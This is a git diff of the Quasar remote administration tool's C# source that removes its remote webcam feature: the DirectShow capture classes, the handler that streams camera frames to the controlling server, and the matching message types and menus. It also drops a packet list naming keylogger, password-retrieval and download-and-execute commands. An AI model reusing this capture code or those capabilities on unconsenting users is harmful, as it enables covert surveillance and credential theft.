this.snapshotMode = snapshotMode; - } - - // Callback to receive samples - public int SampleCB( double sampleTime, IntPtr sample ) - { - return 0; - } - - // Callback method that receives a pointer to the sample buffer - public int BufferCB( double sampleTime, IntPtr buffer, int bufferLen ) - { - if ( parent.NewFrame != null ) - { - // create new image - System.Drawing.Bitmap image = new Bitmap( width, height, PixelFormat.Format24bppRgb ); - - // lock bitmap data - BitmapData imageData = image.LockBits( - new Rectangle( 0, 0, width, height ), - ImageLockMode.ReadWrite, - PixelFormat.Format24bppRgb ); - - // copy image data - int srcStride = imageData.Stride; - int dstStride = imageData.Stride; - - unsafe - { - byte* dst = (byte*) imageData.Scan0.ToPointer( ) + dstStride * ( height - 1 ); - byte* src = (byte*) buffer.ToPointer( ); - - for ( int y = 0; y < height; y++ ) - { - Win32.memcpy( dst, src, srcStride ); - dst -= dstStride; - src += srcStride; - } - } - - // unlock bitmap data - image.UnlockBits( imageData ); - - // notify parent - if ( snapshotMode ) - { - parent.OnSnapshotFrame( image ); - } - else - { - parent.OnNewFrame( image ); - } - - // release the image - image.Dispose( ); - } - - return 0; - } - } - } -} diff --git a/Client/Core/AForge/Video.DirectShow/VideoInput.cs b/Client/Core/AForge/Video.DirectShow/VideoInput.cs deleted file mode 100644 index d88b64d30..000000000 --- a/Client/Core/AForge/Video.DirectShow/VideoInput.cs +++ /dev/null @@ -1,47 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2012 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow -{ - using System; - - /// - /// Video input of a capture board. - /// - /// - /// The class is used to describe video input of devices like video capture boards, - /// which usually provide several inputs. - /// - /// - public class VideoInput - { - /// - /// Index of the video input. - /// - public readonly int Index; - - /// - /// Type of the video input. - /// - public readonly PhysicalConnectorType Type; - - internal VideoInput( int index, PhysicalConnectorType type ) - { - Index = index; - Type = type; - } - - /// - /// Default video input. Used to specify that it should not be changed. - /// - public static VideoInput Default - { - get { return new VideoInput( -1, PhysicalConnectorType.Default ); } - } - } -} diff --git a/Client/Core/AForge/Video/IVideoSource.cs b/Client/Core/AForge/Video/IVideoSource.cs deleted file mode 100644 index d6ae3e59c..000000000 --- a/Client/Core/AForge/Video/IVideoSource.cs +++ /dev/null @@ -1,126 +0,0 @@ -// AForge Video Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © Andrew Kirillov, 2005-2009 -// andrew.kirillov@aforgenet.com -// - -namespace AForge.Video -{ - using System; - - /// - /// Video source interface. - /// - /// - /// The interface describes common methods for different type of video sources. - /// - public interface IVideoSource - { - /// - /// New frame event. - /// - /// - /// This event is used to notify clients about new available video frame. - /// - /// Since video source may have multiple clients, each client is responsible for - /// making a copy (cloning) of the passed video frame, but video source is responsible for - /// disposing its own original copy after notifying of clients. - /// - /// - event NewFrameEventHandler NewFrame; - - /// - /// Video source error event. - /// - /// - /// This event is used to notify clients about any type of errors occurred in - /// video source object, for example internal exceptions. - /// - event VideoSourceErrorEventHandler VideoSourceError; - - /// - /// Video playing finished event. - /// - /// - /// This event is used to notify clients that the video playing has finished. - /// - /// - event PlayingFinishedEventHandler PlayingFinished; - - /// - /// Video source. - /// - /// - /// The meaning of the property depends on particular video source. - /// Depending on video source it may be a file name, URL or any other string - /// describing the video source. - /// - string Source { get; } - - /// - /// Received frames count. - /// - /// - /// Number of frames the video source provided from the moment of the last - /// access to the property. - /// - /// - int FramesReceived { get; } - - /// - /// Received bytes count. - /// - /// - /// Number of bytes the video source provided from the moment of the last - /// access to the property. - /// - /// - long BytesReceived { get; } - - /// - /// State of the video source. - /// - /// - /// Current state of video source object - running or not. - /// - bool IsRunning { get; } - - /// - /// Start video source. - /// - /// - /// Starts video source and return execution to caller. Video source - /// object creates background thread and notifies about new frames with the - /// help of event. - /// - void Start( ); - - /// - /// Signal video source to stop its work. - /// - /// - /// Signals video source to stop its background thread, stop to - /// provide new frames and free resources. - /// - void SignalToStop( ); - - /// - /// Wait for video source has stopped. - /// - /// - /// Waits for video source stopping after it was signalled to stop using - /// method. - /// - void WaitForStop( ); - - /// - /// Stop video source. - /// - /// - /// Stops video source aborting its thread. - /// - void Stop( ); - } -} diff --git a/Client/Core/AForge/Video/VideoEvents.cs b/Client/Core/AForge/Video/VideoEvents.cs deleted file mode 100644 index c5729e54d..000000000 --- a/Client/Core/AForge/Video/VideoEvents.cs +++ /dev/null @@ -1,125 +0,0 @@ -// AForge Video Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2011 -// contacts@aforgenet.com -// - -namespace AForge.Video -{ - using System; - - /// - /// Delegate for new frame event handler. - /// - /// - /// Sender object. - /// Event arguments. - /// - public delegate void NewFrameEventHandler( object sender, NewFrameEventArgs eventArgs ); - - /// - /// Delegate for video source error event handler. - /// - /// - /// Sender object. - /// Event arguments. - /// - public delegate void VideoSourceErrorEventHandler( object sender, VideoSourceErrorEventArgs eventArgs ); - - /// - /// Delegate for playing finished event handler. - /// - /// - /// Sender object. - /// Reason of finishing video playing. - /// - public delegate void PlayingFinishedEventHandler( object sender, ReasonToFinishPlaying reason ); - - /// - /// Reason of finishing video playing. - /// - /// - /// When video source class fire the event, they - /// need to specify reason of finishing video playing. For example, it may be end of stream reached. - /// - public enum ReasonToFinishPlaying - { - /// - /// Video playing has finished because it end was reached. - /// - EndOfStreamReached, - /// - /// Video playing has finished because it was stopped by user. - /// - StoppedByUser, - /// - /// Video playing has finished because the device was lost (unplugged). - /// - DeviceLost, - /// - /// Video playing has finished because of some error happened the video source (camera, stream, file, etc.). - /// A error reporting event usually is fired to provide error information. - /// - VideoSourceError - } - - /// - /// Arguments for new frame event from video source. - /// - /// - public class NewFrameEventArgs : EventArgs - { - private System.Drawing.Bitmap frame; - - /// - /// Initializes a new instance of the class. - /// - /// - /// New frame. - /// - public NewFrameEventArgs( System.Drawing.Bitmap frame ) - { - this.frame = frame; - } - - /// - /// New frame from video source. - /// - /// - public System.Drawing.Bitmap Frame - { - get { return frame; } - } - } - - /// - /// Arguments for video source error event from video source. - /// - /// - public class VideoSourceErrorEventArgs : EventArgs - { - private string description; - - /// - /// Initializes a new instance of the class. - /// - /// - /// Error description. - /// - public VideoSourceErrorEventArgs( string description ) - { - this.description = description; - } - - /// - /// Video source error description. - /// - /// - public string Description - { - get { return description; } - } - } -} diff --git a/Client/Core/Commands/WebcamHandler.cs b/Client/Core/Commands/WebcamHandler.cs deleted file mode 100644 index 9dfb729f4..000000000 --- a/Client/Core/Commands/WebcamHandler.cs +++ /dev/null @@ -1,100 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using AForge.Video; -using AForge.Video.DirectShow; -using Quasar.Common.Messages; -using Quasar.Common.Video; -using xClient.Core.Networking; - -namespace xClient.Core.Commands -{ - /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE WEBCAM COMMANDS. */ - - public static partial class CommandHandler - { - public static bool WebcamStarted; - public static bool NeedsCapture; - public static Client Client; - public static int Webcam; - public static int Resolution; - public static VideoCaptureDevice FinalVideo; - - public static void HandleGetWebcams(GetWebcams command, Client client) - { - var deviceInfo = new Dictionary>(); - var videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); - foreach (FilterInfo videoCaptureDevice in videoCaptureDevices) - { - List supportedResolutions = new List(); - var device = new VideoCaptureDevice(videoCaptureDevice.MonikerString); - foreach (var resolution in device.VideoCapabilities) - { - supportedResolutions.Add(resolution.FrameSize); - } - List res = new List(supportedResolutions.Count); - foreach (var r in supportedResolutions) - res.Add(new Resolution {Height = r.Height, Width = r.Width}); - - deviceInfo.Add(videoCaptureDevice.Name, res); - } - - if (deviceInfo.Count > 0) - client.Send(new GetWebcamsResponse {Webcams = deviceInfo}); - } - - public static void HandleGetWebcam(GetWebcam command, Client client) - { - Client = client; - NeedsCapture = true; - Webcam = command.Webcam; - Resolution = command.Resolution; - if (!WebcamStarted) - { - var videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); - FinalVideo = new VideoCaptureDevice(videoCaptureDevices[command.Webcam].MonikerString); - FinalVideo.NewFrame += FinalVideo_NewFrame; - FinalVideo.VideoResolution = FinalVideo.VideoCapabilities[command.Resolution]; - FinalVideo.Start(); - WebcamStarted = true; - } - } - - public static void HandleDoWebcamStop(DoWebcamStop command, Client client) - { - NeedsCapture = false; - WebcamStarted = false; - Client = null; - if (FinalVideo != null) - { - FinalVideo.NewFrame -= FinalVideo_NewFrame; - FinalVideo.Stop(); - FinalVideo = null; - } - } - - private static void FinalVideo_NewFrame(object sender, NewFrameEventArgs e) - { - if (!WebcamStarted) - FinalVideo.Stop(); - - if (NeedsCapture) - { - var image = (Bitmap) e.Frame.Clone(); - using (var stream = new MemoryStream()) - { - image.Save(stream, ImageFormat.Bmp); - Client.Send(new GetWebcamResponse - { - Image = stream.ToArray(), - Webcam = Webcam, - Resolution = Resolution - }); - stream.Close(); - } - NeedsCapture = false; - } - } - } -} \ No newline at end of file diff --git a/Client/Core/Networking/PacketHandler.cs b/Client/Core/Networking/PacketHandler.cs index 9f010def6..c187c47bb 100644 --- a/Client/Core/Networking/PacketHandler.cs +++ b/Client/Core/Networking/PacketHandler.cs @@ -39,10 +39,6 @@ public static void HandlePacket(Client client, IMessage packet) { CommandHandler.HandleGetDesktop((GetDesktop)packet, client); } - else if (type == typeof(GetWebcam)) - { - CommandHandler.HandleGetWebcam((GetWebcam)packet, client); - } else if (type == typeof(GetProcesses)) { CommandHandler.HandleGetProcesses((GetProcesses)packet, client); @@ -51,10 +47,6 @@ public static void HandlePacket(Client client, IMessage packet) { CommandHandler.HandleDoProcessKill((DoProcessKill)packet, client); } - else if (type == typeof(DoWebcamStop)) - { - CommandHandler.HandleDoWebcamStop((DoWebcamStop)packet, client); - } else if (type == typeof(DoProcessStart)) { CommandHandler.HandleDoProcessStart((DoProcessStart)packet, client); @@ -99,10 +91,6 @@ public static void HandlePacket(Client client, IMessage packet) { CommandHandler.HandleDoClientUpdate((DoClientUpdate)packet, client); } - else if (type == typeof(GetWebcams)) - { - CommandHandler.HandleGetWebcams((GetWebcams)packet, client); - } else if (type == typeof(GetMonitors)) { CommandHandler.HandleGetMonitors((GetMonitors)packet, client); diff --git a/Quasar.Common/Messages/GetWebcam.cs b/Quasar.Common/Messages/GetWebcam.cs deleted file mode 100644 index f867a9d92..000000000 --- a/Quasar.Common/Messages/GetWebcam.cs +++ /dev/null @@ -1,14 +0,0 @@ -using ProtoBuf; - -namespace Quasar.Common.Messages -{ - [ProtoContract] - public class GetWebcam : IMessage - { - [ProtoMember(1)] - public int Webcam { get; set; } - - [ProtoMember(2)] - public int Resolution { get; set; } - } -} diff --git a/Quasar.Common/Messages/GetWebcamResponse.cs b/Quasar.Common/Messages/GetWebcamResponse.cs deleted file mode 100644 index 90b9953c3..000000000 --- a/Quasar.Common/Messages/GetWebcamResponse.cs +++ /dev/null @@ -1,17 +0,0 @@ -using ProtoBuf; - -namespace Quasar.Common.Messages -{ - [ProtoContract] - public class GetWebcamResponse : IMessage - { - [ProtoMember(1)] - public byte[] Image { get; set; } - - [ProtoMember(2)] - public int Webcam { get; set; } - - [ProtoMember(3)] - public int Resolution { get; set; } - } -} diff --git a/Quasar.Common/Messages/GetWebcams.cs b/Quasar.Common/Messages/GetWebcams.cs deleted file mode 100644 index d05a59ad3..000000000 --- a/Quasar.Common/Messages/GetWebcams.cs +++ /dev/null @@ -1,9 +0,0 @@ -using ProtoBuf; - -namespace Quasar.Common.Messages -{ - [ProtoContract] - public class GetWebcams : IMessage - { - } -} diff --git a/Quasar.Common/Messages/GetWebcamsResponse.cs b/Quasar.Common/Messages/GetWebcamsResponse.cs deleted file mode 100644 index 7e759123c..000000000 --- a/Quasar.Common/Messages/GetWebcamsResponse.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Collections.Generic; -using ProtoBuf; -using Quasar.Common.Video; - -namespace Quasar.Common.Messages -{ - [ProtoContract] - public class GetWebcamsResponse : IMessage - { - [ProtoMember(1)] - public Dictionary> Webcams { get; set; } - } -} diff --git a/Quasar.Common/Messages/PacketRegistry.cs b/Quasar.Common/Messages/PacketRegistry.cs index cb5929f04..4d98b71be 100644 --- a/Quasar.Common/Messages/PacketRegistry.cs +++ b/Quasar.Common/Messages/PacketRegistry.cs @@ -12,89 +12,5 @@ public static IEnumerable GetPacketTypes(Type type) .SelectMany(s => s.GetTypes()) .Where(p => type.IsAssignableFrom(p) && !p.IsInterface); } - - public static Type[] GetPacketTypes() - { - return new Type[] - { - typeof(GetAuthentication), - typeof(DoClientDisconnect), - typeof(DoClientReconnect), - typeof(DoClientUninstall), - typeof(DoWebcamStop), - typeof(DoAskElevate), - typeof(DoDownloadAndExecute), - typeof(DoUploadAndExecute), - typeof(GetDesktop), - typeof(GetProcesses), - typeof(DoProcessKill), - typeof(DoProcessStart), - typeof(GetDrives), - typeof(GetDirectory), - typeof(DoDownloadFile), - typeof(DoMouseEvent), - typeof(DoKeyboardEvent), - typeof(GetSystemInfo), - typeof(DoVisitWebsite), - typeof(DoShowMessageBox), - typeof(DoClientUpdate), - typeof(GetMonitors), - typeof(GetWebcams), - typeof(GetWebcam), - typeof(DoShellExecute), - typeof(DoPathRename), - typeof(DoPathDelete), - typeof(DoShutdownAction), - typeof(GetStartupItems), - typeof(DoStartupItemAdd), - typeof(DoStartupItemRemove), - typeof(DoDownloadFileCancel), - typeof(GetKeyloggerLogs), - typeof(DoUploadFile), - typeof(GetPasswords), - typeof(DoLoadRegistryKey), - typeof(DoCreateRegistryKey), - typeof(DoDeleteRegistryKey), - typeof(DoRenameRegistryKey), - typeof(DoCreateRegistryValue), - typeof(DoDeleteRegistryValue), - typeof(DoRenameRegistryValue), - typeof(DoChangeRegistryValue), - typeof(SetAuthenticationSuccess), - typeof(GetConnections), - typeof(DoCloseConnection), - typeof(GetAuthenticationResponse), - typeof(SetStatus), - typeof(SetStatusFileManager), - typeof(SetUserStatus), - typeof(GetDesktopResponse), - typeof(GetProcessesResponse), - typeof(GetDrivesResponse), - typeof(GetDirectoryResponse), - typeof(DoDownloadFileResponse), - typeof(GetSystemInfoResponse), - typeof(GetMonitorsResponse), - typeof(GetWebcamsResponse), - typeof(GetWebcamResponse), - typeof(DoShellExecuteResponse), - typeof(GetStartupItemsResponse), - typeof(GetKeyloggerLogsResponse), - typeof(GetPasswordsResponse), - typeof(GetRegistryKeysResponse), - typeof(GetCreateRegistryKeyResponse), - typeof(GetDeleteRegistryKeyResponse), - typeof(GetRenameRegistryKeyResponse), - typeof(GetCreateRegistryValueResponse), - typeof(GetDeleteRegistryValueResponse), - typeof(GetRenameRegistryValueResponse), - typeof(GetChangeRegistryValueResponse), - typeof(ReverseProxyConnect), - typeof(ReverseProxyConnectResponse), - typeof(ReverseProxyData), - typeof(ReverseProxyDisconnect), - typeof(GetConnectionsResponse) - - }; - } } -} \ No newline at end of file +} diff --git a/Quasar.Common/Quasar.Common.csproj b/Quasar.Common/Quasar.Common.csproj index 0c62fc6aa..fc9131251 100644 --- a/Quasar.Common/Quasar.Common.csproj +++ b/Quasar.Common/Quasar.Common.csproj @@ -83,8 +83,6 @@ - - @@ -137,8 +135,6 @@ - - diff --git a/README.md b/README.md index f5d0cea4c..331de20ab 100644 --- a/README.md +++ b/README.md @@ -19,7 +19,6 @@ Quasar is a fast and light-weight remote administration tool coded in C#. Provid * File Manager * Startup Manager * Remote Desktop -* Remote Webcam * Remote Shell * Download & Execute * Upload & Execute diff --git a/Server/Core/Commands/SurveillanceHandler.cs b/Server/Core/Commands/SurveillanceHandler.cs index 0ef30c54d..93c45c994 100644 --- a/Server/Core/Commands/SurveillanceHandler.cs +++ b/Server/Core/Commands/SurveillanceHandler.cs @@ -1,11 +1,7 @@ -using Quasar.Common.IO; -using Quasar.Common.Messages; +using Quasar.Common.Messages; using System; -using System.Drawing; -using System.IO; using System.Linq; using xServer.Core.Data; -using xServer.Core.Helper; using xServer.Core.Networking; namespace xServer.Core.Commands @@ -24,7 +20,7 @@ public static void HandleGetPasswordsResponse(Client client, GetPasswordsRespons string userAtPc = string.Format("{0}@{1}", client.Value.Username, client.Value.PCName); var lst = - packet.Passwords.Select(str => str.Split(new[] {DELIMITER}, StringSplitOptions.None)) + packet.Passwords.Select(str => str.Split(new[] { DELIMITER }, StringSplitOptions.None)) .Select( values => new RecoveredAccount @@ -39,35 +35,5 @@ public static void HandleGetPasswordsResponse(Client client, GetPasswordsRespons if (client.Value != null && client.Value.FrmPass != null) client.Value.FrmPass.AddPasswords(lst.ToArray(), userAtPc); } - - public static void HandleGetWebcamsResponse(Client client, GetWebcamsResponse packet) - { - if (client.Value == null || client.Value.FrmWebcam == null) - return; - - client.Value.FrmWebcam.AddWebcams(packet.Webcams); - } - - public static void HandleGetWebcamResponse(Client client, GetWebcamResponse packet) - { - if (client.Value == null || client.Value.FrmWebcam == null - || client.Value.FrmWebcam.IsDisposed - || client.Value.FrmWebcam.Disposing) - return; - - if (packet.Image == null) - return; - - using (MemoryStream ms = new MemoryStream(packet.Image)) - { - Bitmap img = new Bitmap(ms); - client.Value.FrmWebcam.UpdateImage(img); - } - - if (client.Value != null && client.Value.FrmWebcam != null && client.Value.FrmWebcam.IsStarted) - { - client.Send(new GetWebcam {Webcam = packet.Webcam, Resolution = packet.Resolution}); - } - } } -} \ No newline at end of file +} diff --git a/Server/Core/Networking/PacketHandler.cs b/Server/Core/Networking/PacketHandler.cs index e249607e7..c0858d5df 100644 --- a/Server/Core/Networking/PacketHandler.cs +++ b/Server/Core/Networking/PacketHandler.cs @@ -20,14 +20,6 @@ public static void HandlePacket(Client client, IMessage packet) { CommandHandler.HandleSetUserStatus(client, (SetUserStatus)packet); } - else if (type == typeof(GetWebcamsResponse)) - { - CommandHandler.HandleGetWebcamsResponse(client, (GetWebcamsResponse)packet); - } - else if (type == typeof(GetWebcamResponse)) - { - CommandHandler.HandleGetWebcamResponse(client, (GetWebcamResponse)packet); - } else if (type == typeof(GetPasswordsResponse)) { CommandHandler.HandleGetPasswordsResponse(client, (GetPasswordsResponse)packet); diff --git a/Server/Core/Networking/UserState.cs b/Server/Core/Networking/UserState.cs index 99b543404..5d230f3f4 100644 --- a/Server/Core/Networking/UserState.cs +++ b/Server/Core/Networking/UserState.cs @@ -22,7 +22,6 @@ public class UserState : IDisposable public string Tag { get; set; } public string DownloadDirectory { get; set; } - public FrmRemoteWebcam FrmWebcam { get; set; } public FrmPasswordRecovery FrmPass { get; set; } public void Dispose() @@ -36,8 +35,6 @@ protected virtual void Dispose(bool disposing) { try { - if (FrmWebcam != null) - FrmWebcam.Invoke((MethodInvoker)delegate { FrmWebcam.Close(); }); if (FrmPass != null) FrmPass.Invoke((MethodInvoker)delegate { FrmPass.Close(); }); } diff --git a/Server/Forms/FrmMain.Designer.cs b/Server/Forms/FrmMain.Designer.cs index 03bfb4693..593f985bf 100644 --- a/Server/Forms/FrmMain.Designer.cs +++ b/Server/Forms/FrmMain.Designer.cs @@ -55,7 +55,6 @@ private void InitializeComponent() this.standbyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.surveillanceToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.remoteDesktopToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.remoteWebcamToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.passwordRecoveryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.keyloggerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.miscellaneousToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); @@ -103,7 +102,7 @@ private void InitializeComponent() this.lineToolStripMenuItem, this.selectAllToolStripMenuItem}); this.contextMenuStrip.Name = "ctxtMenu"; - this.contextMenuStrip.Size = new System.Drawing.Size(153, 142); + this.contextMenuStrip.Size = new System.Drawing.Size(150, 120); // // connectionToolStripMenuItem // @@ -114,7 +113,7 @@ private void InitializeComponent() this.uninstallToolStripMenuItem}); this.connectionToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("connectionToolStripMenuItem.Image"))); this.connectionToolStripMenuItem.Name = "connectionToolStripMenuItem"; - this.connectionToolStripMenuItem.Size = new System.Drawing.Size(152, 22); + this.connectionToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.connectionToolStripMenuItem.Text = "Connection"; // // updateToolStripMenuItem @@ -165,7 +164,7 @@ private void InitializeComponent() this.actionsToolStripMenuItem}); this.systemToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("systemToolStripMenuItem.Image"))); this.systemToolStripMenuItem.Name = "systemToolStripMenuItem"; - this.systemToolStripMenuItem.Size = new System.Drawing.Size(152, 22); + this.systemToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.systemToolStripMenuItem.Text = "System"; // // systemInformationToolStripMenuItem @@ -284,35 +283,26 @@ private void InitializeComponent() // this.surveillanceToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.remoteDesktopToolStripMenuItem, - this.remoteWebcamToolStripMenuItem, this.passwordRecoveryToolStripMenuItem, this.keyloggerToolStripMenuItem}); this.surveillanceToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("surveillanceToolStripMenuItem.Image"))); this.surveillanceToolStripMenuItem.Name = "surveillanceToolStripMenuItem"; - this.surveillanceToolStripMenuItem.Size = new System.Drawing.Size(152, 22); + this.surveillanceToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.surveillanceToolStripMenuItem.Text = "Surveillance"; // // remoteDesktopToolStripMenuItem // this.remoteDesktopToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("remoteDesktopToolStripMenuItem.Image"))); this.remoteDesktopToolStripMenuItem.Name = "remoteDesktopToolStripMenuItem"; - this.remoteDesktopToolStripMenuItem.Size = new System.Drawing.Size(175, 22); + this.remoteDesktopToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.remoteDesktopToolStripMenuItem.Text = "Remote Desktop"; this.remoteDesktopToolStripMenuItem.Click += new System.EventHandler(this.remoteDesktopToolStripMenuItem_Click); // - // remoteWebcamToolStripMenuItem - // - this.remoteWebcamToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("remoteWebcamToolStripMenuItem.Image"))); - this.remoteWebcamToolStripMenuItem.Name = "remoteWebcamToolStripMenuItem"; - this.remoteWebcamToolStripMenuItem.Size = new System.Drawing.Size(175, 22); - this.remoteWebcamToolStripMenuItem.Text = "Remote Webcam"; - this.remoteWebcamToolStripMenuItem.Click += new System.EventHandler(this.remoteWebcamToolStripMenuItem_Click); - // // passwordRecoveryToolStripMenuItem // this.passwordRecoveryToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("passwordRecoveryToolStripMenuItem.Image"))); this.passwordRecoveryToolStripMenuItem.Name = "passwordRecoveryToolStripMenuItem"; - this.passwordRecoveryToolStripMenuItem.Size = new System.Drawing.Size(175, 22); + this.passwordRecoveryToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.passwordRecoveryToolStripMenuItem.Text = "Password Recovery"; this.passwordRecoveryToolStripMenuItem.Click += new System.EventHandler(this.passwordRecoveryToolStripMenuItem_Click); // @@ -320,7 +310,7 @@ private void InitializeComponent() // this.keyloggerToolStripMenuItem.Image = global::xServer.Properties.Resources.logger; this.keyloggerToolStripMenuItem.Name = "keyloggerToolStripMenuItem"; - this.keyloggerToolStripMenuItem.Size = new System.Drawing.Size(175, 22); + this.keyloggerToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.keyloggerToolStripMenuItem.Text = "Keylogger"; this.keyloggerToolStripMenuItem.Click += new System.EventHandler(this.keyloggerToolStripMenuItem_Click); // @@ -332,7 +322,7 @@ private void InitializeComponent() this.showMessageboxToolStripMenuItem}); this.miscellaneousToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("miscellaneousToolStripMenuItem.Image"))); this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem"; - this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(152, 22); + this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.miscellaneousToolStripMenuItem.Text = "Miscellaneous"; // // remoteExecuteToolStripMenuItem @@ -380,12 +370,12 @@ private void InitializeComponent() // lineToolStripMenuItem // this.lineToolStripMenuItem.Name = "lineToolStripMenuItem"; - this.lineToolStripMenuItem.Size = new System.Drawing.Size(149, 6); + this.lineToolStripMenuItem.Size = new System.Drawing.Size(146, 6); // // selectAllToolStripMenuItem // this.selectAllToolStripMenuItem.Name = "selectAllToolStripMenuItem"; - this.selectAllToolStripMenuItem.Size = new System.Drawing.Size(152, 22); + this.selectAllToolStripMenuItem.Size = new System.Drawing.Size(149, 22); this.selectAllToolStripMenuItem.Text = "Select All"; this.selectAllToolStripMenuItem.Click += new System.EventHandler(this.selectAllToolStripMenuItem_Click); // @@ -889,7 +879,6 @@ private void InitializeComponent() private System.Windows.Forms.ToolStripStatusLabel listenToolStripStatusLabel; private System.Windows.Forms.ToolStripMenuItem elevateClientPermissionsToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem connectionsToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem remoteWebcamToolStripMenuItem; } } diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 855296a63..06aeaf55c 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -661,19 +661,7 @@ private void remoteDesktopToolStripMenuItem_Click(object sender, EventArgs e) frmRd.Focus(); } } - private void remoteWebcamToolStripMenuItem_Click(object sender, EventArgs e) - { - foreach (Client c in GetSelectedClients()) - { - if (c.Value.FrmWebcam != null) - { - c.Value.FrmWebcam.Focus(); - return; - } - FrmRemoteWebcam frmWebcam = new FrmRemoteWebcam(c); - frmWebcam.Show(); - } - } + private void passwordRecoveryToolStripMenuItem_Click(object sender, EventArgs e) { foreach (Client c in GetSelectedClients()) diff --git a/Server/Forms/FrmMain.resx b/Server/Forms/FrmMain.resx index db86f0667..6ac1391e5 100644 --- a/Server/Forms/FrmMain.resx +++ b/Server/Forms/FrmMain.resx @@ -303,24 +303,6 @@ ZrNIpVJwu90bdOWR3W7nrFYrZzKZOL1e//Av4Kr8fr+Bulys7tUVxx0Ox5SufP9ftXNBMBi84fP56Hv/ iEq1Rq9Rx+diBbV6G8nkOxgMhp+X65nmAq/Xe4teB7PZDOfn55hOpzg7O1O+2VkoFMLi4uLNyz1zACaX y8XRlRWXLRYLjEYjdDodtFotFhYWmlfr54L/FzS/AGH28noQqAdLAAAAAElFTkSuQmCC - - - - - iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 - YQUAAAK4SURBVDhPbZFfSFNxHMV/OOvuEpQIlQbD0qkQbv1BelBENu+SKDAqSOlBCAo1RRPtoaCC/hNU - WlT4p7ewOfG/YtuDmu5P0S2aIbblQL1TaW4horlevt3zc0YPXTjcwzmfc393d2zzKjRZGBGxjjftyfJH - uTIwPT0YVIJTEDwym9qBKTRJsVXsunPzFr+PvxsrCCqKc3V19Xc0GqX19XUueGTowPy7YTUVVfxk17jz - WCgUUtbW1mh5efm/QgcGLDbV6pbZh96y3q6eFPVVP6+srFAkEgFEHo+HrFYrFzwydGDA9nZ1p2DLT/d+ - 8dajXFpaooWFBWpqaqYLVbV08epdLnhk6MCAxQZb9uD2vW2B6YAdRTgcps7OTjpRXErnG6z0cGSKCx4Z - OjBgscGW2dradX6ffyoYDNLc3BzVVNeQ8dxlOm6bIMn2lQseGTowYLGxtVl1zPq6be+E1/tdfSL5fD4q - KS6hxNO1JD5xk/jIuSHVI0MHBiw22LLmF02Jk5OTnsXFRYKu1NfR9oNm0tR1UNx1Oxc8MnSbHDbY8r/y - g+d9I14NxfDwMB3OPkKC0ULxp25wwSNDBwYsNnw8OjLKBvsHctUnhhRF4b+vr6+PThYVkT5zPxc8MnRg - wGKDLXv57DkrLjoT5xwbv+b75ov+/Uh+P7lcLi74zY8MBiw22PJrYGCI5eebTA0NT+dlWaZAIECzs7M0 - MzPDBY9Mlj9Ro8rk5eWbunv6N8bVtXVMn55hLpCO+iVLIZWVV1BLSys57A5yu91cDoeDWltfUXn5JQJj - liz+falp5rKKSsYEQdAZjEZZr0+nnbt2/0pK3vMzNU3/w2Awzufk5CqQwXBgHhk6MOkZmZSVZZDj47fo - mCiKSTsSEh6r9/taUTy7VRAkjUaTo75ctqpDMWUjUw+TwIDFRtBqk/4AyHJvzhoJdeoAAAAASUVORK5C - YII= @@ -423,7 +405,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADY - sQAAAk1TRnQBSQFMAgEB+AEAAcgBCAHIAQgBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + sQAAAk1TRnQBSQFMAgEB+AEAAdABCAHQAQgBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAAbUBAgIAAQEBAAEIBQABQAGtGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHA 